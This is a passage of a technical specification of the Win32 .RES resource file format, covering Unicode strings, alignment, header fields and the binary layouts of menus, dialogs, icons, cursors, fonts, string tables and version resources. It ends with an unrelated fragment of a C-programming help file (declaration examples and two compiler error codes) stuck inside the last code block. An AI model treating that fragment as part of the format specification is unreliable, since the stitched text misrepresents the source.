All strings in a resource file are now stored in UNICODE format. In this format, all characters are represented by a 16-bit (WORD) value. The first 128 characters are identical to the 128 characters in the Windows ANSI character set (although the characters are represented by 16 bits each rather than 8bits). The characters in positions 160-254 are similar to the characters in the standard Windows character set (note that the characters 128-159 are illegal Unicode codepoints). This means that they are terminated with a UNICODE_NULL symbol rather than a single NULL. The resource compiler translates

all normal ASCII strings into UNICODE by calling the MultiByteToWideChar function provided by the Windows API. All escaped characters are stored directly, and are assumed to be valid UNICODE characters for the resource. If these strings are read in later by an application as ASCII (for instance, by calling the LoadString api), they will be converted back from UNICODE to ASCII transparently by the loader.

The only exception to the rule is strings in RCDATA statements. These psuedo-strings are not real strings, but merely a convenient notation for a collection of bytes. Users may overlay a structure over the data from an RCDATA statement, and expect certain data to be at certain offsets. If a psuedo-string gets automatically changed into a UNICODE string, it things would inadvertently change the offsets of things in the structure and break those applications. Hence, these psuedo-strings must be left as ASCII bytes. To specify a UNICODE string inside an RCDATA statement, the user should use the explicit L-quoted string.

1.3 DWORD Alignment

To make resource binary files easier to read under Windows 32, all objects within the file are to be DWORD aligned. This includes headers, as well as data entries. This does not usually entail changes in the order of the fields of resource data structures, but does entail the need for some padding between fields.

The single exception to this rule is the font and fontdir structures. The reason for the exception is that these two structures are copied directly from other files, and are not used by RC.

2. General information

The resource file is created by the resource compiler (RC) while parsing the resource script file (.RC) and including any other resource data files (eg. .ICO, .CUR, .BMP, .FNT). The resource file contains all information necessary to build the resource table in the executable image. The main purpose of the resource file is to speed the edit-compile-link cycle by not always forcing resource to be recompiled.

There are currently about a dozen pre-defined resource types. These include Menus, Dialogs, Accelerators, Strings, Icons, Cursors, Bitmaps, Fonts and Version. These resources are used by the Windows system to define the appearance of the application window. The resource script allows the application writer to represent these features in an easily editable form. Other type ranges are reserved for use by the application for application-specific data. No attempt is made by the resource compiler to modify this user-defined data from 16-bit to 32-bit format.

The executable image file for Windows 32 is not a Segmented image. In the 16-bit executable image file, each resource was placed into a separate segment in the image file. The Windows 32 image file places all resources into a single Object or section. The Windows 32 image file also provides a binary-sorted resource table that allows fast lookup of a particular resource, rather than a table that must be searched linearly, as in the 16-bit image file. Because this Windows 32 image file format is more complex that the Windows 16 format, making it harder to update directly, the Windows 32 API provides methods of modifying the resource data directly.

The CVTRES conversion utility that converts the resource file into a

COFF object creates the resource table. This table contains three directories, indexed by Type, Name and Language, in that order. The Type and Name directories consist of two parts: the part dedicated to resources whose types or names are represented by strings, an those represented by ordinal WORD values. Because the use of strings as resource type and name identifiers takes considerably more room than ordinal identifiers, Microsoft recommends that they not be used.

Note that, as all strings in a resource file (including the strings used to identify the type and name of resources) are UNICODE, the corresponding strings in the program that are being passed to LoadBitmap, etc., must also be UNICODE (only if the application is using the UNICODE set of apis rather than the ASCII set). This is facilitated by use of the TEXT macro provided in winnt.h.

The third level, language, provides the capability for the application developer to ship a single executable image that supports more than one language. For instance, one image providing French, French-Canadian and French-Belgium could be easily shipped in one image file. An application could also be shipped with support for all languages supported by the UNICODE standard, although this would make the image prohibitively large. However, since the system provides facilities to modify the resources within an image, a setup program could customize the application's image file for each specific user, eliminating unneeded language support to save space in the image file.

2.1 New statements

Several new statements have been added that the Windows 32 resource compiler processes.

2.1.1 New Button statements.

These statements allow the application developer the same freedom of expression that the PUSHBUTTON, DEFPUSHBUTTON, etc., statements do, and correspond to the appropriate button style.

They all have syntax identical to that of PUSHBUTTON, etc.

2.1.1.1 AUTO3STATE

Allows declaration of an AUTO3STATE button.

2.1.1.2 AUTOCHECKBOX

Allows declaration of an AUTOCHECKBOX button.

2.1.1.3 AUTORADIOBUTTON

Allows declaration of an AUTORADIOBUTTON button.

2.1.1.5 PUSHBOX

Allows declaration of a PUSHBOX button.

2.1.1.6 STATE3

Allows declaration of a 3STATE button (the 3 is at the end for syntax purposes).

2.1.1.7 USERBUTTON

Allows declaration of a USERBUTTON user-defined button.

2.1.2 EXSTYLE statement

This statement allows the application developer to designate one of the extended (WS_EX_xxx) styles for a dialog or control window. There are three methods, depending upon what is needed.

It may be placed just below the DIALOG statement to apply to the dialog window (like the CAPTION or STYLE statements).

```
EXSTYLE <flags>
```

It may be placed on the DIALOG statement with the memory flags.

```
FOOBAR DIALOG [MemFlags...] [EXSTYLE=<flags>] x, y, dx, dy
```

It may also be placed on the individual CONTROL, PUSHBUTTON, LTEXT, etc. statements at the end of the statement.

```
AUTOCHECKBOX "autocheckbox", id, x, y, dx, dy
[styleflags][exstyleflags]
```

2.1.3 CHARACTERISTICS statement

This statement allows the application developer to specify information about the resource that may be of use to tools that read and write resource files. It has no significance to the system and is not stored in the image file.

```
CHARACTERISTICS <user defined DWORD value>
```

2.1.4 VERSION statement

This statement is intended to allow the application to specify a version number of the resource in the resource file (for those tools that read and write resource files.) It has no significance to the system and is not stored in the image file.

```
VERSION <user defined DWORD value>
```

2.1.5 LANGUAGE statement

The LANGUAGE statement is used to specify the language the resource file, or section of resource file, is written in. It may be placed anywhere within the resource script file that a single-line statement (such as ICON, CURSOR, BITMAP) may be placed. The scope of the language specified by a LANGUAGE statement is from that point in the script file to the next LANGUAGE statement, or the end of the file.

```
LANGUAGE <majornumber>,<minornumber>
```

where <majornumber> represents the language id, and <minornumber> the sub-language identifiers. The values specified in winnt.h should be used.

The LANGUAGE statement may also be placed before the BEGIN statement for MENU, DIALOG, STRINGTABLE, ACCELERATOR and RCDATA resources, along with other optional statements like CAPTION, STYLE, etc. If the statement is placed here, it's scope is limited to the resource being defined.

2.1.6 MESSAGETABLE statement

The MESSAGETABLE statement is used to include a message table. A message table is a special-purpose string table that is used to contain error or informational messages, and may contain formatting information. The format is:

```
     <nameid> MESSAGETABLE <filename>
```

2.1.7 Additional syntax for UNICODE strings.

Quoted strings in the resource script are treated as ASCII strings (in the current codepage) unless preceeded by a "L" or "l" character, eg:

```
     L"This is a Unicode string"
```

Declaring a string UNICODE with this syntax has two effects. In a RCDATA statement, this causes the compiler to store the string as UNICODE rather than ASCII. In all cases using this syntax, escapes embedded within the string become UNICODE codepoint escapes resulting in a 16-bit UNICODE character, eg:

```
     L"This is the first line,\x2028and this is the second"
```

where the 0x2028 UNICODE character is the Line Separator character. Any UNICODE character may be embedded within any resource script string in this manner.

3. Resource Header Format

The general format of the entire file is simply a number of resource file entries concatenated together. Each resource contains the information about a single resource, such as a dialog or a string table.

Each entry consists of a resource header followed by the data for that resource. A resource header (which is DWORD aligned) is composed of four elements: two dwords containing the size of the header and the size of the resource data, the resource type, the resource name, and additional resource information. The data for the resource follows the resource header and is specific to each particular type of resource.

3.1 DataSize

This field gives the size of the data that follows the header, not including any file padding between this resource and any resource that follows this resource in the resource file.

3.2 HeaderSize

The HeaderSize field gives the size of the resource header structure that follows.

3.3 Type

The type field can either be a number or a null-terminated UNICODE string specifying the name of the type. This variable kind of type is known as a `Name or Ordinal' field, and is used in most places in a resource file where an ID may appear.

The first WORD of a Name or Ordinal field identifies whether the field is a number or a string. If the first WORD is 0xffff (an invalid UNICODE character), then the following WORD of information is the type number. Otherwise, the field is specified by a UNICODE string.

If the type field is a number, then the number specifies a standard or user-defined resource type. All standard Windows resource types have been assigned numbers, which are listed below. This list is taken from the header file used to make RC and contains the type number of the various resource types:

```
    /* Predefined resource types */
    #define    RT_NEWRESOURCE      0x2000
    #define    RT_ERROR            0x7fff
    #define    RT_CURSOR           1
    #define    RT_BITMAP           2
    #define    RT_ICON             3
    #define    RT_MENU             4
    #define    RT_DIALOG           5
    #define    RT_STRING           6
    #define    RT_FONTDIR          7
    #define    RT_FONT             8
    #define    RT_ACCELERATORS     9
    #define    RT_RCDATA           10
    #define    RT_MESSAGETABLE     11
    #define    RT_GROUP_CURSOR     12
    #define    RT_GROUP_ICON       14
    #define    RT_VERSION          16
    #define    RT_NEWBITMAP        (RT_BITMAP|RT_NEWRESOURCE)
    #define    RT_NEWMENU          (RT_MENU|RT_NEWRESOURCE)
    #define    RT_NEWDIALOG        (RT_DIALOG|RT_NEWRESOURCE)
```

If the type field is a string, then the type is a user-defined type.

3.4 Names

A name identifies the particular resource. A name (like a type) may be a number or a string, and they are distinguished in the same way as numbers and strings are distinguished in the type field.

Note that no padding (for DWORD alignment) is needed between the Type and Name fields, as they contain only WORD data and hence the Name field will always be properly aligned. However, there may need to be a WORD of padding after the Name field to align the rest of the header on DWORD boundaries.

3.5 Additional Header Information

The additional information contains more information about the particular resource data, including size and language ID. The structure of the Header, plus it's additional information is as follows:

```
struct tagResource {
  DWORD  DataSize;            // size of data without header
  DWORD  HeaderSize;          // Length of the additional header
  [Ordinal or name TYPE]      // type identifier, id or string
  [Ordinal or name NAME]      // name identifier, id or string
  DWORD  DataVersion;         // predefined resource data version
  WORD   MemoryFlags;         // state of the resource
  WORD   LanguageId;          // UNICODE support for NLS
  DWORD  Version;             // Version of the resource data
  DWORD  Characteristics;     // Characteristics of the data
  } ;
```

The additional information structure will always begin on a DWORD boundary within the resource file, which may require adding some padding in between the name field and the ResAdditional structure.

3.5.1 DataVersion

The DataVersion field determines the format of the information within the resource header that follows. This may be used in the future to allow additional information to be entered into the predefined formats.

3.5.2 MemoryFlags

The field wMemoryFlags contains flags telling the state of a given resource. These attributes are given to a given resource by modifiers in the .RC script. The script identifiers inject the following flag values:

```
    #define    MOVEABLE            0x0010
    #define    FIXED               ~MOVEABLE
    #define    PURE                0x0020
    #define    IMPURE              ~PURE
    #define    PRELOAD             0x0040
    #define    LOADONCALL          ~PRELOAD
    #define    DISCARDABLE         0x1000
```

The resource compiler for NT always ignores the setting of the MOVEABLE, IMPURE, and PRELOAD flags.

3.5.3 LanguageId

The language ID is included in each resource to specify the language that the strings are written with when they need to be translated back to a single byte strings. As well, there may be multiple resources of exactly the same type and name which differ in only the language of the strings within the resources.

The language IDs are documented in Appendix A of the NLS specification, or in winnt.h. The language of a resource or set of resources is specified by the LANGUAGE statement.

3.5.4 Version and Characteristics

Currently, there is space in the resource file format for version and characteristic information of the resource. These values can be set by the resource compiler by using the VERSION or CHARACTERISTICS statements.

3.6 Differentiating 16 and 32-bit resource files.

Because it might be desirable for an ISV's tool that reads and writes resource files to be able to read either the older Windows 16 format files and the new Windows 32 format, Microsoft has devised a method to do this using illegal type and name ordinal numbers.

The method involved is to place an illegal resource in the resource file. The following eight bytes were chosen:

```
     0x00 0x00 0x00 0x00 0x20 0x00 0x00 0x00
```

Assume that it is a 16-bit file. In that case, the Type is illegal since the first 0x00 says string, but a zero-length string is an illegal string. This, then is an illegal 16-bit resource header, indicating that the file is a 32-bit file.

Assume that it is a 32-bit file. Given that, the size of the data is

zero, which surely will never be the case.

The Windows 32 resource compiler prefaces each 32-bit resource file with this string of data (followed by an additional data structure describing a zero-length resource with 0 ordinal type and 0 ordinal name), allowing differentiation of 16 and 32-bit resource files. Any tools reading resource files should ignore this resource.

3.7 File Alignment.

Because it is sometimes useful to separate resources into several scripts and then concatenate them after compiling the resource files separately, it is necessary to specify that resource files are padded to a dword size. If this padding were not included, it could result in the first resource of the second and/or subsequent resource files not aligning upon a dword boundary.

4. Resource Data Format

For any of the pre-defined data types, all structures are DWORD aligned, including the bitmap, icon, and font header structures. As well, the data will always begin on a DWORD boundary.

4.1 Version Resources

Version resources are used to record the version of the application using the resource file. Version resources contain a fixed amount of information. The structure of the version resource is as follows:

```
typedef struct tagVS_FIXEDFILEINFO {
  DWORD  dwSignature;        // e.g.  0xfeef04bd
  DWORD  dwStrucVersion;     // e.g.  0x00000042 = "0.42"
  DWORD  dwFileVersionMS;    // e.g.  0x00030075 = "3.75"
  DWORD  dwFileVersionLS;    // e.g.  0x00000031 = "0.31"
  DWORD  dwProductVersionMS; // e.g.  0x00030010 = "3.10"
  DWORD  dwProductVersionLS; // e.g.  0x00000031 = "0.31"
  DWORD  dwFileFlagsMask;    // = 0x3F for version "0.42"
  DWORD  dwFileFlags;        // e.g.  VFF_DEBUG | VFF_PRERELEASE
  DWORD  dwFileOS;           // e.g.  VOS_DOS_WINDOWS16
  DWORD  dwFileType;         // e.g.  VFT_DRIVER
  DWORD  dwFileSubtype;      // e.g.  VFT2_DRV_KEYBOARD
  DWORD  dwFileDateMS;       // e.g.  0
  DWORD  dwFileDateLS;       // e.g.  0
  } VS_FIXEDFILEINFO;
```

4.2 Icon Resources

The ICON statement in the .RC script does not create a single resource object, but creates a group of resources. This allows Windows programs a degree of device-independence through the use of different pixel bitmaps on hardware configurations with differing capabilities. Icons, most often designed for differing numbers of pixel planes and pixel counts, are grouped and treated by Windows as a single resource. In the .RES and .EXE files, however, they are stored as a group of resources. These groups are stored in a .RES file with the components first (in this case the different icons [type 3]) and a group header following (Type 14). The group header contains the information necessary to allow Windows to select the proper icon to display.

The components have the following structure:

```
        [Resource header (type = 3)]
```

```
        [DIB Header]
        [Color DIBits of icon XOR mask]
        [Monochrome DIBits of AND mask]
```

Each component is given an ordinal ID that is unique from all other icon components.

The Device Independent Bitmap (DIB) header's fields represent the masks' information separately with two exceptions. First, the height field represents both the XOR and AND masks. Before converting the two DIBs to Device Dependent Bitmaps (DDB), the height should be divided by two. The masks are always the same size and are one-half the size given in the DIB header. Second, the number of bits per pixel and bit count refer to the XOR mask. The AND mask is always monochrome and should be interpreted as having one plane and one bit per pixel. Before using an icon with Windows refer to the SDK reference materials for more information on DIBs. Since the format of an icon component closely resembles the format of the .ICO file, the documentation in section 9.2 of the Windows SDK Reference is useful. DDBs should not be used for Windows 32 applications.

The group header is described here:

```
    [Resource header (type = 14)]

struct IconHeader {
  WORD   wReserved;          // Currently zero
  WORD   wType;              // 1 for icons
  WORD   wCount;             // Number of components
  WORD   padding;            // filler for DWORD alignment
  };
```

The next portion is repeated for each component resource:

```
struct ResourceDirectory {
  BYTE   bWidth;
  BYTE   bHeight;
  BYTE   bColorCount;
  BYTE   bReserved;
  WORD   wPlanes;
  WORD   wBitCount;
  DWORD  lBytesInRes;
  WORD   wNameOrdinal;       // Points to component
  WORD   padding;            // filler for DWORD alignment
  };
```

Notice that the group header consists of a fixed header and data that repeats for each group component. Both of these parts are fixed length allowing for random access of the group component information.

This group header contains all of the data from the .ICO header and from the individual resource descriptors.

4.3 Menu Resources

Menu resources are composed of a menu header followed by a sequential list of menu items. There are two types of menu items: popups and normal menu items. The MENUITEM SEPARATOR is a special case of a normal menu item with an empty name, zero ID, and zero flags. The format for these types is shown here:

```
    [Resource header (type = 4)]
```

```
struct MenuHeader {
  WORD   wVersion;           // Currently zero
  WORD   cbHeaderSize;       // Also zero
  };
```

These next items are repeated for every menu item.

Popup menu items (signalled by fItemFlags & POPUP):

```
struct PopupMenuItem {
  WORD   fItemFlags;
  WCHAR  szItemText[];
  };
```

Normal menu items (signalled by !(fItemFlags & POPUP)):

```
struct NormalMenuItem {
  WORD   fItemFlags;
  WORD   wMenuID;
  WCHAR  szItemText[];
  };
```

The wVersion and cbHeaderSize structure members identify the version of the menu template. They are both zero for Windows 3.0 but may be incremented with future changes to the menu template.

The WORD fItemFlags is a set of flags describing the menu item. If the POPUP bit is set, the item is a POPUP. Otherwise, it is a normal menu component. There are several other flag bits that may be set. Their values are as follows:

```
    #define    GRAYED         0x0001   // 'GRAYED' keyword
    #define    INACTIVE       0x0002   // 'INACTIVE' keyword
    #define    BITMAP         0x0004   // 'BITMAP' keyword
    #define    OWNERDRAW      0x0100   // 'OWNERDRAW' keyword
    #define    CHECKED        0x0008   // 'CHECKED' keyword
    #define    POPUP          0x0010   // Used internally
    #define    MENUBARBREAK   0x0020   // 'MENUBARBREAK' keyword
    #define    MENUBREAK      0x0040   // 'MENUBREAK' keyword
    #define    ENDMENU        0x0080   // Used internally
```

The fItemFlags portion of the last menu item in a given POPUP is flagged by OR'ing it with ENDMENU. It is important to note that since popups can be nested, there may be multiple levels of items with ENDMENU set. When menus are nested, the items are inserted sequentially. A program can traverse this hierarchy by checking for the item with the ENDMENU flag set.

4.4 Dialog Box Resources

A dialog box is contained in a single resource and has a header and a portion repeated for each control in the dialog box. The header is as follows:

```
    [Resource header (type = 5)]

struct DialogBoxHeader {
  DWORD  lStyle;
  DWORD  lExtendedStyle;     // new for NT
  WORD   NumberOfItems;
  WORD   x;
  WORD   y;
```

```
  WORD   cx;
  WORD   cy;
  [Name or Ordinal] MenuName;
  [Name or Ordinal] ClassName;
  WCHAR  szCaption[];
  WORD   wPointSize;         // Only here if FONT set for dialog
  WCHAR  szFontName[];       // This too
  };
```

The item DWORD lStyle is a standard window style composed of flags found in WINDOWS.H.   The default style for a dialog box is:

```
    WS_POPUP | WS_BORDER | WS_SYSMENU
```

The lExtendedStyle DWORD is used to specify the extended window style flags. If an extended style is specified on the DIALOG statement, or with the other optional modifier statements, this DWORD is set to that value.

The items marked `Name or Ordinal' are the same format used throughout the resource file (most notably in each resource header) to store a name or an ordinal ID. As before, if the first byte is an 0xffff, the next two bytes contain an ordinal ID. Otherwise, the first 1 or more WORDS contain a null-terminated string. An empty string is represented by a single WORD zero in the first location.

The WORD wPointSize and WCHAR szFontName entries are present if the FONT statement was included for the dialog box. This can be detected by checking the entry lStyle. if lStyle & DS_SETFONT (DS_SETFONT = 0x40), then these entries will be present.

The data for each control starts on a DWORD boundary (which may require some padding from the previous control), and its format is as follows:

```
struct ControlData {
  DWORD  lStyle;
  DWORD  lExtendedStyle;
  WORD   x;
  WORD   y;
  WORD   cx;
  WORD   cy;
  WORD   wId;
  [Name or Ordinal] ClassId;
  [Name or Ordinal] Text;
  WORD   nExtraStuff;
  };
```

As before, the item DWORD lStyle is a standard window style composed of the flags found in WINDOWS.H. The type of control is determined by the class. The class is either given by a zero-terminated string, or in the case of many common Windows classes, is given a one word code to save space and speed processing. Because UNICODE allows 0x8000 as a legal character, the ordinal classes are prefaced with a of 0xFFFF, similar to the ordinal Type and Name fields. The one word classes are listed here:

```
    #define    BUTTON              0x8000
    #define    EDIT                0x8100
    #define    STATIC              0x8200
    #define    LISTBOX             0x8300
    #define    SCROLLBAR           0x8400
    #define    COMBOBOX            0x8500
```

The lExtendedStyle DWORD is used to specify the extended style flags to be used for this control. The extended style flags are placed at the end of the CONTROL (or other control statements) statement following the coordinates

The extra information at the end of the control data structure is currently not used, but is intended for extra information that may be needed for menu items in the future. Usually it is zero length.

The various statements used in a dialog script are all mapped to these classes along with certain modifying styles. The values for these styles can be found in WINDOWS.H. All dialog controls have the default styles of WS_CHILD and WS_VISIBLE. A list of the default styles used to make the script statements follows:

Statement	Default Class	Default Styles
CONTROL	None	WS_CHILD|WS_VISIBLE
LTEXT	STATIC	ES_LEFT
RTEXT	STATIC	ES_RIGHT
CTEXT	STATIC	ES_CENTER
LISTBOX	LISTBOX	WS_BORDER | LBS_NOTIFY
CHECKBOX	BUTTON	BS_CHECKBOX | WS_TABSTOP
PUSHBUTTON	BUTTON	BS_PUSHBUTTON | WS_TABSTOP
GROUPBOX	BUTTON	BS_GROUPBOX
DEFPUSHBUTTON	BUTTON	BS_DEFPUSHBUTTON | WS_TABSTOP
RADIOBUTTON	BUTTON	BS_RADIOBUTTON
AUTOCHECKBOX	BUTTON	BS_AUTOCHECKBOX
AUTO3STATE	BUTTON	BS_AUTO3STATE
AUTORADIOBUTTON	BUTTON	BS_AUTORADIOBUTTON
PUSHBOX	BUTTON	BS_PUSHBOX
STATE3	BUTTON	BS_3STATE
EDITTEXT	EDIT	ES_LEFT|WS_BORDER|WS_TABSTOP
COMBOBOX	COMBOBOX	None
ICON	STATIC	SS_ICON
SCROLLBAR	SCROLLBAR	None

The control text is stored in the `Name or Ordinal' format described in detail above.

4.5 Cursor Resources

Cursor resources are very much like icon resources. They are formed in groups with the components preceding the header. This header also employs a fixed-length component index that allows random access of the individual components. The structure of the cursor header is as follows:

    [Resource header (type = 12)]

```
struct CursorHeader {
  WORD   wReserved;          // Currently zero
  WORD   wType;              // 2 for cursors
  WORD   cwCount;            // Number of components
  WORD   padding;            // filler for DWORD alignment
  };
```

The next portion is repeated for each component resource, and starts on a DWORD boundary.

```
struct ResourceDirectory {
  WORD   wWidth;
  WORD   wHeight;
```

```
  WORD   wPlanes;
  WORD   wBitCount;
  DWORD  lBytesInRes;
  WORD   wNameOrdinal;       // Points to component
  WORD   padding;            // filler for DWORD alignment
  };
```

Each cursor component is also similar to each icon component. There is, however, one significant difference between the two: cursors have the concept of a `hotspot' where icons do not. Here is the component structure:

```
    [Resource header (Type = 1)]

struct CursorComponent {
  short  xHotspot;
  short  yHotspot;
  }
    [Monochrome XOR mask]
    [Monochrome AND mask]
```

These masks are bitmaps copied from the .CUR file. The main difference from icons in this regard is that cursors do not have color DIBs used for XOR masks like cursors. Although the bitmaps are monochrome and do not have DIB headers or color tables, the bits are still in DIB format with respect to alignment and direction. See the SDK Reference for more information on DIB formats.

4.6 Bitmap Resources

Windows 32 can read two types of device-independent bitmaps. The normal type of DIB is the Windows 3.0 DIB format. The other type of DIB is that used for OS/2 versions 1.1 and 1.2. The bitmap resource consists of a single device-independent bitmap and accordingly, this DIB can be of either format. The two DIBs are distinguished by their header structures. They both have the size of their respective structures as the first DWORD in the header. Both these structures are documented in the Windows SDK Reference Version 3.0 volume 2, section 7. The header structure for the normal DIB is BITMAPINFOHEADER while the OS/2 DIB header is called BITMAPCOREHEADER. The correct size (as a DWORD) must be in the first entry of the structure.

```
    [Normal resource header (type = 2)]

    [BITMAPINFOHEADER or BITMAPCOREHEADER]
    [Color table if not 24 bits per pixel]
    [Packed-pixel bitmap]
```

Note that the color table is optional. All but 24 bit color bitmaps have a color table attached next. This table's length can be computed by 2#BitsPerPixel * 3 bytes for OS/2 bitmaps or 2#BitsPerPixel * 4 bytes for Windows bitmaps. The bitmap image data is placed immediately following the color table.

Note that the bitmap file has an unaligned header structure (BITMAPFILEHEADER structure). This header is not, however, stored in the resource file, as it serves only to identify the type of file (DIB or DDB).

4.7 Font and Font Directory Resources

Font resources are different from the other types of resources in

that they are not added to the resources of a specific application program. Font resources are added to .EXE files that are renamed to be .FON files. These files are libraries as opposed to applications.

Font resources use a resource group structure. Individual fonts are the components of a font group. Each component is defined by a FONT statement in the .RC file. The group header follows all components and contains all information necessary to access a specific font. The format of a font component resource is as follows:

    [Normal resource header (type = 8)]

    [Complete contents of the .FNT file follow as the resource body -
    - See the Windows SDK Reference for the format of the .FNT file]

The group header for the fonts is normally last in the .RES file. Note that unlike cursor and icon groups, the font group need not be contiguous in the .RES file. Font declarations may be placed in the .RC file mixed with other resource declarations. The group header is added automatically by RC at the end of the .RES file. Programs generating .RES files must add the FONTDIR entry manually. The group header has the following structure:

    [Normal resource header (type = 7)]

    WORD NumberOfFonts; // Total number in .RES file

The remaining data is repeated for every font in the .RES file.

```
WORD fontOrdinal;
struct FontDirEntry {
  WORD   dfVersion;
  DWORD  dfSize;
  char   dfCopyright[60];
  WORD   dfType;
  WORD   dfPoints;
  WORD   dfVertRes;
  WORD   dfHorizRes;
  WORD   dfAscent;
  WORD   dfInternalLeading;
  WORD   dfExternalLeading;
  BYTE   dfItalic;
  BYTE   dfUnderline;
  BYTE   dfStrikeOut;
  WORD   dfWeight;
  BYTE   dfCharSet;
  WORD   dfPixWidth;
  WORD   dfPixHeight;
  BYTE   dfPitchAndFamily;
  WORD   dfAvgWidth;
  WORD   dfMaxWidth;
  BYTE   dfFirstChar;
  BYTE   dfLastChar;
  BYTE   dfDefaultChar;
  BYTE   dfBreakChar;
  WORD   dfWidthBytes;
  DWORD  dfDevice;
  DWORD  dfFace;
  DWORD  dfReserved;
  char   szDeviceName[];
  char   szFaceName[];
  };
```

4.8 String Table Resources

These tables are constructed in blocks of 16 strings. The organization of these blocks of 16 is determined by the IDs given to the various strings. The lowest four bits of the ID determine a string's position in the block. The upper twelve bits determine which block the string is in. Each block of 16 strings is stored as one resource entry. Each string or error table resource block is stored as follows:

    [Normal resource header (type = 6 for strings)]

    [Block of 16 strings. The strings are Pascal style with a WORD
    length preceding the string. 16 strings are always written, even
    if not all slots are full. Any slots in the block with no string
    have a zero WORD for the length.]

It is important to note that the various blocks need not be written out in numerical order in the resource file. Each block is assigned an ordinal ID. This ID is the high 12 bits of the string IDs in the block plus one (ordinal IDs can't be zero). The blocks are written to the .RES file in the order the blocks are encountered in the .RC file, while the CVTRES utility will cause them to become ordered in the COFF object, and hence the image file.

4.9 Accelerator Table Resources

An accelerator table is stored as a single resource. Multiple accelerator tables are also allowed. The format of an accelerator table is very simple. No header for the table is used. Each entry in the table has a single four word entry. The last entry in the table is flaged by the hex value 0x0080 (fFlags |= 0x0080). Since all entries are fixed length, random access can be done because the number of elements in the table can be computed by dividing the length of the resource by eight. Here is the structure of the table entries:

    [Normal resource header (type = 9)]

The following structure is repeated for all accelerator table entries.

```
struct AccelTableEntry {
  WORD   fFlags;
  WORD   wAscii;
  WORD   wId;
  WORD   padding;
  };
```

4.10 User Defined Resources and RCDATA

RC allows the programmer to include resources not defined in Windows. The user may choose a name not defined as a standard type and use it to include data that is to be used as a resource. This data may be taken from an external file or may be placed between BEGIN and END statements. As an option, the programmer can define the type as RCDATA with the same results.

As might be imagined, the format of this resource is very simple because the resource compiler knows nothing about the logical structure of the data. Here is the organization:

```
    [Normal resource header (type = 10 for RCDATA, named types
    represent user-defined types)]

    [The data from the BEGIN ...  END or from the external file is
    included without translation into the .RES file]
```

4.11 Name Table and Error Table Resources

Name tables and error resources are no longer supported in the Windows binary resource file format.

4.12 Version Resources.

Version resources specify information that can be used by setup programs to discover which of several versions of a program or dynamic link library to install into the system. There is also a set of api's to query the version resources. There are three major types of information stored in version resources: the main information in a VS_FIXEDFILEINFO structure, Language information data in a variable file information structure (VarFileInfo), and user defined string information in StringFileInfo structures. For Windows 32, the strings within the version information resource is stored in Unicode, providing localization of the resoruces. Each block of information is dword aligned.

The structure of a version resource is depicted by the VS_VERSION_INFO structure.

```
VS_VERSION_INFO {
    WORD wLength;             /* Length of the version resource */
    WORD wValueLength;        /* Length of the value field for this block */
    WORD wType;               /* type of information:  1==string, 0==binary */
    WCHAR szKey[];            /* Unicode string KEY field */
    [WORD Padding1;]          /* possible word of padding */
    VS_FIXEDFILEINFO Value;   /* Fixed File Info Structure */
    BYTE Children[];      /* position of VarFileInfo or StringFileInfo data */
};
```

The Fixed File Info structure contains basic information about the version, including version numbers for the product and file, and type of the file.

```
typedef struct tagVS_FIXEDFILEINFO {
    DWORD dwSignature;        /* signature - always 0xfeef04bd */
    DWORD dwStrucVersion;     /* structure version - currently 0 */
    DWORD dwFileVersionMS;    /* Most Significant file version dword */
    DWORD dwFileVersionLS;    /* Least Significant file version dword */
    DWORD dwProductVersionMS; /* Most Significant product version */
    DWORD dwProductVersionLS; /* Least Significant product version */
    DWORD dwFileFlagMask;     /* file flag mask */
    DWORD dwFileFlags;        /*  debug/retail/prerelease/... */
    DWORD dwFileOS;           /* OS type.  Will always be Windows32 value */
    DWORD dwFileType;         /* Type of file (dll/exe/drv/... )*/
    DWORD dwFileSubtype;      /* file subtype */
    DWORD dwFileDateMS;       /* Most Significant part of date */
    DWORD dwFileDateLS;       /* Least Significant part of date */
} VS_FIXEDFILEINFO;
```

The user defined string information is contained within the StringFileInfo structure, which is a set of two strings: the key and the information itself.

```
StringFileInfo {
```

```
    WCHAR       szKey[];      /* Unicode "StringFileInfo" */
    [WORD        padding;]    /* possible padding */
    StringTable Children[];
};

StringTable {
    WCHAR      szKey[];   /* Unicode string denoting the language - 8 bytes */
    String Children[];    /* array of children String structures */
}

String {
    WCHAR   szKey[];          /* arbitrary Unicode encoded KEY string */
                         /* note that there is a list of pre-defined keys */
    [WORD   padding;]         /* possible padding */
    WCHAR Value[];            /* Unicode-encoded value for KEY */
} String;
```

The variable file info (VarFileInfo) block contains a list of languages supported by this version of the application/dll.

```
VarFileInfo {
    WCHAR szKey[];            /* Unicode "VarFileInfo" */
    [WORD padding;];          /* possible padding */
    Var        Children[];    /* children array */
};

Var {
    WCHAR szKey[];       /* Unicode "Translation" (or other user key) */
    [WORD padding;]      /* possible padding */
    WORD  Value[];       /* one or more values, normally language id's */
};
```

4.13 Messagetable Resources.

A message table is a resource that contains formatted text that is used to display an error message or messagebox. It has taken the place of the error table resource (which was never used). The data consists of a MESSAGE_RESOURCE_DATA structure, which contains one or more MESSAGE_RESOURCE_BLOCKS, which in turn may consist of one or more MESSAGE_RESOURCE_ENTRY structures. The structure is similar to that of the STRINGTABLE resource.

```
typedef struct _MESSAGE_RESOURCE_DATA {
    ULONG NumberOfBlocks;
    MESSAGE_RESOURCE_BLOCK Blocks[];
} MESSAGE_RESOURCE_DATA, *PMESSAGE_RESOURCE_DATA;

typedef struct _MESSAGE_RESOURCE_BLOCK {
    ULONG LowId;
    ULONG HighId;
    ULONG OffsetToEntries;
} MESSAGE_RESOURCE_BLOCK, *PMESSAGE_RESOURCE_BLOCK;

typedef struct _MESSAGE_RESOURCE_ENTRY {
    USHORT Length;
    USHORT Flags;
    UCHAR Text[];
} MESSAGE_RESOURCE_ENTRY, *PMESSAGE_RESOURCE_ENTRY;
```

If the Flags USHORT is MESSAGE_RESOURCE_UNICODE (value 0x0001), the string is encoded in UNICODE rather than ASCII in the current codepage.

```
@C Programming Topics
:C declarations
^Complex C Declarations


      int i;                  i as an int
      int *i;           i as a pointer to an int
      int **i;          i is a pointer to a pointer to an int
      int *(*i)();            i is a pointer to a function returning a
                          pointer to int
      int *(*i[])();          i is an array of pointers to functions
                          returning pointers to an int
      int *i[5];        i is an array of 5 pointers to int
      int (*i)[5];            i is a pointer to an array of 5 ints
      int *i();         i is a function returning a pointer to an int
      int (*i)();       i is a pointer to a function returning int
      int *(*(*i)())[5] i is a pointer to a function returning a
                          pointer to an array of 5 pointers to an int


:C errors (MSC):MSC errors
^Microsoft C Compiler Fatal Errors

      C1000 unknown fatal error; contact Microsoft
      C1001 internal compiler error; contact Microsoft
